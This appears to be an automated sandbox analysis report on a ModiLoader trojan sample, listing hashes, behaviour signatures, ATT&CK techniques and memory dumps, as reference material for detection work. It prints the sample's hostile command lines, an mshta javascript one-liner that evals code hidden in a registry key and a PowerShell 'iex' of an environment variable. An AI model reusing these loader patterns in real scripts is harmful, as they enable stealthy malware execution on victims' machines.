modiloader | 8c4a22f48726a955f88f52a56ce34a5e3ea82e36d641cc7cc1c0dd097845cb5e

Analysis

max time kernel
188s
max time network
192s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
03-10-2022 21:11

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General

Target

8c4a22f48726a955f88f52a56ce34a5e3ea82e36d641cc7cc1c0dd097845cb5e.exe
Size

299KB
MD5

3afec8ce8d988162c77f47f769f657b8
SHA1

5bef1b2ce5ef119884381f7bcff7860b60dcc048
SHA256

8c4a22f48726a955f88f52a56ce34a5e3ea82e36d641cc7cc1c0dd097845cb5e
SHA512

b6af0eed4ec7b17edf2ec0b79bcc89a0e923a3ef88b7ccab63ed661cd9f8fa2774d385dbc84c858295e2733306848662e60b79356223d8d98d1c11aae9bb9e0c
SSDEEP

6144:AuCeBGw82i4MaCqCGlGfr/9t7HVJrmxF3eTd6fWqiog1Mp1JJ52Q5kd:OeBGv2i4MtBGlGbP7HViYTuioec2oY

Score

10^/10

modiloader trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4760 1116 mshta.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4760	1116	mshta.exe

ModiLoader Second Stage 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1480-134-0x0000000000400000-0x000000000044F000-memory.dmp	modiloader_stage2
behavioral2/memory/1480-135-0x0000000003400000-0x00000000034C0000-memory.dmp	modiloader_stage2
behavioral2/memory/1480-145-0x0000000003400000-0x00000000034C0000-memory.dmp	modiloader_stage2

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4736 powershell.exe
4736 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4736 powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	mshta.exe

pid	process
4736	powershell.exe
4736	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4736	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

mshta.exe

description	pid	process	target process
PID 4760 wrote to memory of 4736	4760	mshta.exe	powershell.exe
PID 4760 wrote to memory of 4736	4760	mshta.exe	powershell.exe
PID 4760 wrote to memory of 4736	4760	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\8c4a22f48726a955f88f52a56ce34a5e3ea82e36d641cc7cc1c0dd097845cb5e.exe
"C:\Users\Admin\AppData\Local\Temp\8c4a22f48726a955f88f52a56ce34a5e3ea82e36d641cc7cc1c0dd097845cb5e.exe"
1⤵
PID:1480

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:YI4i8rorkp="S";T58S=new%20ActiveXObject("WScript.Shell");q8GEcDb="sh1bJb54c";uuF9i2=T58S.RegRead("HKLM\\software\\Wow6432Node\\NvdUPXiv\\urbwga");RX8iave="EIY";eval(uuF9i2);WNJlaJ9Iw="9dPeo";
1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4760

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:oxkhs
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4736

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1480-133-0x00000000023F0000-0x0000000002430000-memory.dmp

Filesize
256KB

Download
memory/1480-134-0x0000000000400000-0x000000000044F000-memory.dmp

Filesize
316KB

Download
memory/1480-135-0x0000000003400000-0x00000000034C0000-memory.dmp

Filesize
768KB

Download
memory/1480-145-0x0000000003400000-0x00000000034C0000-memory.dmp

Filesize
768KB

Download
memory/1480-144-0x00000000023F0000-0x0000000002430000-memory.dmp

Filesize
256KB

Download
memory/4736-140-0x0000000005630000-0x0000000005652000-memory.dmp

Filesize
136KB

Download
memory/4736-139-0x00000000058B0000-0x0000000005ED8000-memory.dmp

Filesize
6.2MB

Download
memory/4736-141-0x0000000005790000-0x00000000057F6000-memory.dmp

Filesize
408KB

Download
memory/4736-142-0x0000000005EE0000-0x0000000005F46000-memory.dmp

Filesize
408KB

Download
memory/4736-143-0x00000000063E0000-0x00000000063FE000-memory.dmp

Filesize
120KB

Download
memory/4736-138-0x0000000002CA0000-0x0000000002CD6000-memory.dmp

Filesize
216KB

Download
memory/4736-137-0x0000000000000000-mapping.dmp

Download
memory/4736-146-0x0000000007AF0000-0x000000000816A000-memory.dmp

Filesize
6.5MB

Download
memory/4736-147-0x00000000074A0000-0x00000000074BA000-memory.dmp

Filesize
104KB

Download